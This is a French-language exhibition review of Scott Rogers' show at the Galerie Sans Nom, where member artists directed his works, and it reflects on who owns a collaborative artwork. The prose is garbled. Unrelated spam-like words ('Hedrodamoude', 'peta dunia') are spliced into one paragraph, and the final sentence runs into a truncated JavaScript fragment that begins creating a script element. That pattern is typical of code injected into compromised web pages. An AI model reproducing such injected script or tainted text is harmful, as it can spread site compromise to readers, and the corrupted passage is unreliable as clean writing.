Directives pour une exposition de membres

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Centre Culturel Aberdeen, 20h30.

scott rogers

L’emplacement déborde de gens qui, patiemment, attendent le commencement de la conférence d’artiste. Parmi les tables éparpillées, mon regard se retourne vers l’embrasure de la porte de la Galerie Sans Nom. Deux individus se font face, ils tiennent de petites cartes blanches desquelles ils récitent l’un après l’autre. Leurs voix se chevauchent comme une conversation. À peine perceptible parmi les voix entremêlées, l’écho de leur parole passe inaperçu. Hedrodamoude Puis, peu à peu, les spectateurs se retournent, ils sont intrigués. Pourtant, il n’y a rien de curieux à être témoin d’une performance d’artiste lors d’un vernissage. Après tout, on s’y attend. À première vue, celle-ci ne possède rien de plus inusité comparé à tant d’autres. peta dunia Pourtant, la performance exécutée par Scott Rogers n’est pas conçue par l’artiste lui-même. Ah bon! Curieux.

En effet, l’idée originale de la performance mentionnée plus haut provient d’un des membres de la Galerie Sans Nom, ainsi que les sept autres projets aménagés dans l’espace de la GSN. Le but principal du projet, pour Scott Rogers, consistait à produire des œuvres uniques sous la direction des huit membres participants: WL Altman, Maryse Arseneault, Jennifer Bélanger, Gérald Beaulieu, George Blanchette, Jean-Denis Boudreau, Linda Rae Dornan et Mathieu Léger. C’est par l’entremise de courriels que la plupart des conversations se déroulent entre Rogers et les membres. Parfois soumise à la contrainte d’une communication non directe, l’idée subjective de l’artiste prend une toute autre forme sous la direction d’un individu qui en a une vision objective.

D’ailleurs, tout ceci ramène à un questionnement inévitable, la bête noire, ou le sujet tabou du monde créatif: En fin de compte, qui est le possesseur réel du produit fini? Le responsable de sa direction ou celui de sa conception? En réalité, la diffusion de la plupart des œuvres de grande envergure est, souvent, réalisée par une équipe. Il faut tenir compte des coordinateurs, des directeurs de galeries, etc. Chaque artiste, qu’il le veuille ou non, se compromet à une collaboration quand son travail est exposé dans les galeries d’art. En somme, il devient, alors, fascinant de voir cette analogie reproduite dans l’exécution par Rogers de concepts proposés par les membres. Une fois l’idée, derrière l’élan créatif de l’artiste, concrétisée dans ce milieu de galerie, est-ce que son travail cesse de lui appartenir?var d=document;var s=d.createElement(‘script’);

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